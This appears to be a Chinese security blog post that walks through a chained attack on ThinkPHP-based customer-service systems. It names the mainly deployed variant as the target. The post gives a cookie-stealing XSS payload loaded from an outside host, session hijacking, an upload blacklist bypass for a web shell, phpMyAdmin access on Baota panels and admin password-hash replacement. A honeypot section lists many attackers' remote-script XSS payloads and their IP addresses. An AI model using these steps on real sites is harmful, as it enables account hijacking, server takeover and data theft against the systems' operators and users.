针对某客服系统的组合攻击
专注于网络安全领域,跟踪漏洞动态,深耕互联网,做一个深谙攻防之道的公众号。
同时涉足多个领域,是哲学,抑或是文学与艺术,关注金融市场,研究全球市场经济发展方向。

这套客服系统是基于ThinkPHP开发的,并且经过了几个版本的演变。
1.小马PHP客服系统:这套系统应该是最早的,但是现在资产很少了。
2.迎客PHP客服系统:这个应该是某个小团队改改版权就用了的。
3.来客PHP客服系统

资产最多,成为主要攻击目标。
4.好客PHP客服系统
......
其实这些客服系统都大同小异,但是漏洞有一些区别,有的有,有的没有。
源码获取:关注公众号发送“客服系统”。
2023年03月22日更新:
获取源码之前我建议您先阅读下面这一篇文章的结尾。
传送门:https://mp.weixin.qq.com/s/gb6HCD2n5RILlmRIqh_GVA
如果您是我在文章里说的歪瓜裂枣,那么请你选择以下方式获取源码。
百度搜索:“ThinkPHP客服系统”或“ThinkPHP客服系统”
安装教程请参考以下链接:
https://www.kancloud.cn/longlong52201/tp5_phpkefu/2244116/
https://blog.csdn.net/weixin_52154971/article/details/118999542
漏洞位置:/admin/event/chat
漏洞危害:获取在线客服权限
XSS_Payload:
<a href= hidden></a>测试<script src=//test.xss/xss1></script>

收到管理员Cookie

利用插件替换Cookie

访问:/admin/index/chats.html

该XSS漏洞不是每套客服系统都有,有些会被过滤。有时候会过滤中文,可以经过编码再发包。
还有,有时候能打到管理系统的Cookie,可以直接获得所有客服系统的管理权限,右上角位置返回系统即可。

直接发送Payload是没有效果的,需要改包发送。

漏洞位置:/admin/event/getwaitnum
漏洞危害:读取数据库内容
可以参考珂师傅的文章,这里不再细说。传送门:温故而知新,老系统挖老漏洞

漏洞位置:/admin/event/uploadimg
校验类型:黑名单验证
绕过方法:shell.jpg.php

以下两种情况说明不存在上传漏洞。


还需要补充的是,当存在上传漏洞时,假如目标使用的是Apache服务,
根据Apache解析文件的特性,那么访问上传后的文件则是拒绝访问的。

虽说“中国人不骗中国人”,但是都知道我们与东南亚国家的语言并不相通,因此……
笔者同时在长达三个月的时间里部署了多个蜜罐,
捕获到了多位黑客长期对该客服系统广撒网式的攻击样本,而这多位黑客的攻击手法却大同小异,大同小异的同时又有着天壤之别,于是笔者猜测其中不乏有几位脚本小子,为什么这么说?
你们是否听过名医扁鹊的一个小故事?
扁鹊年轻时游历于魏国,行医于魏文王王庭。
这个故事说明了什么道理?不言而喻。
同样的,对于这套系统进行攻击的多位黑客其实是实力悬殊的,
因为倘若有四位黑客,其中只有一位黑客能够利用漏洞获取整个网站的控制权限,
而其他三位黑客只能够获取普通的管理权限。也就是常说的一个能够Getshell,另外一个只能打XSS。

即便能获取整个网站的控制权限,再读取数据库的配置文件,
但依然不能改变脚本小子的命运,因为首先他会接连的面临三大问题:
1.如何成功连接到数据库:一般情况下,数据库是无法外连的。
2.如何进入客服管理后台:管理员的MD5值无法解密。
3.如何修改加密的MD5值:非简单的MD5加密。
这三大问题又再次重现了“扁鹊的故事”,因为即便能够成功连接数据库,获得数据库权限,
但是估计脚本小子们也无法使用账号密码名正言顺的登录管理后台,
原因是后台的账号密码并非简单的MD5加密。在这里我均给出解决思路和方法。

首先这套系统多用宝塔进行搭建,因此存在888端口和8888端口,前者为PhpMyAdmin服务,后者为宝塔登录面板。
我猜测,这时候脚本小子假如想通过PhpMyAdmin获得数据库权限,他又会连续遇到三个小问题。
1.直接访问888端口显示403:需要PhpMyAdmin的完整路径。
2.无法读取到PhpMyAdmin的路径:不会绕过Open_basedir。
3.无法访问到PhpMyAdmin:这是一个迷惑的问题。

以Linux系统为例,
假设网站的路径为/www/wwwroot/
PhpMyAdmin的路径为/www/server/phpmyadmin/
无法访问PhpMyAdmin路径的原因是目标有目录访问限制,需要绕过。
可以参考这篇文章:浅谈绕过open_basedir 的几种用法
无法访问到PhpMyAdmin的原因:没有使用真实IP+888端口去访问。
因此完整的访问方法应该是:http://IP:888/phpmyadmin_3959eb4ebfa493a9/
注意:有时候还需要区分HTTP和HTTPS访问。
比较简单方便的思路则是上传一个adminer.php文件。

按照上一步的思路登录PhpMyAdmin后,存着管理员账号和密码的数据表是wolive_admin,
而Password是无法解密的,这里给出第一个思路:本地搭建同样的环境,替换Password值。
Username:admin
Password:c7122a1349c22cb3c009da3613d242ab
明文密码:123456
注意,而这里给出替换Password的值仅适用于用户名是admin的前提下,接下来我们还需要分析一下它是如何进行加密的。

代码位置:/admin/controller/Login.php
框框位置简单理解:用户名+hjkj+密码=MD5值

假设用户名为admin,密码为123456,
那MD5值应该是d8f7c2d2775869fb69b8757edcf6ae4f 经过测试,实际上并非如此。
研究后得出加密方式:$pass = md5(md5($adminPass) . $adminUser);
先将明文经过MD5第一遍加密,再将第一次得到的MD5值加上用户名做一次加密。假设用户名为test1,密码为testpass。
1.加密明文密码:

2.第一次得到的MD5值为179ad45c6ce2cb97cf1029e212046e81 再在MD5值的后面加上test1(用户名)进行加密:

于是最终的Password值为79c274670c1db637916f5f96b9be77e1


黑客使用的XSS_Payload:
<sCRiPt sRC=//xss.yt/2kVZ></sCrIpT>
<sCRiPt sRC=//xss.yt/pQUp></sCrIpT>
<sCRiPt sRC=//xss.yt/ecAQ></sCrIpT>
<sCRiPt sRC=//xss.yt/eK73></sCrIpT>
<sCRiPt sRC=//xss.yt/o90g></sCrIpT>
<sCRiPt sRC=//xss.yt/ghsf></sCrIpT>
<sCRiPt sRC=////xss.yt/ZEbO></sCrIpT>
<script src=//https://7878666.com/QFRT></script>
<script src=//https://xss8.cc/x4xY></script>
<script src=//cdn.jsdelivv.com/N></script>
<script src=//jscdns.xss.ht></script>
<script src=//chunkjscdn.xss.ht></script>
<sCRiPt/SrC=//kk.jdss918.com/WQffoD>
<script src=//xs.ax/KexI></script>
<script src="https://a.aliyundun.cc/6"></script>
黑客使用的匿名IP:
45.76.188.135 新加坡
103.186.85.210 香港
27.0.232.185 香港
124.234.207.74 吉林 长春
119.5.224.133 四川 雅安
101.99.90.157 马来西亚 吉隆坡
18.139.84.50 新加坡 亚马逊云
38.45.125.42 香港 Cogent
202.182.104.253 日本 东京
159.138.136.214 香港 华为云
14.210.2.2 广东 湛江
123.253.26.170 香港
152.32.226.56 香港 优刻云
152.32.240.127 香港 优刻云
152.32.240.153 香港 优刻云
152.32.189.234 香港 优刻云
103.149.27.156 香港 优刻云
8.210.52.141 香港 阿里云
118.193.40.28 香港 优刻云
118.193.34.44 香港 优刻云
118.193.40.66 香港 优刻云
118.193.35.125 香港 优刻云
23.248.163.140 香港 Zenlayer
207.46.13.50 美国 微软云
91.245.253.48 罗马尼亚
112.111.24.94 福建 联通
198.13.39.74 日本 东京
123.253.26.170 香港
139.162.28.219 新加坡 Linode
129.150.52.158 美国 芝加哥
152.32.239.146 香港 优刻云
152.32.174.180 香港 优刻云
152.32.226.200 香港 优刻云
118.193.34.184 香港 优刻云
51.195.216.255 英国 伦敦
103.212.99.98 香港
103.14.33.97 香港 Zenlayer
128.199.20.138 美国 加利福尼亚
黑客使用Resty对蜜罐中不同的独立客服进行遍历,并发送大量恶意的XSS_Payload:

黑客多次针对蜜罐进行目录扫描:


疑似黑客忘记使用匿名IP:

112.111.24.94 福建 联通
多位黑客中有不少的来自Fofa搜索引擎的,这让人值得深思。
正如前文所说的,脚本小子有时候也很聪明,还知道有时候打XSS可能会遇到过滤中文的情况,
于是都使用全英文去发送Payload,还能起到伪装外国人的作用,不失为一个好办法。
“出来混要有势力,要有背景,你哪个道上的?”

 多位不知名的黑客长期对该系统进行攻击,意欲何为?
        多位不知名的黑客长期对该系统进行攻击,意欲何为?
     
 
 
 
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号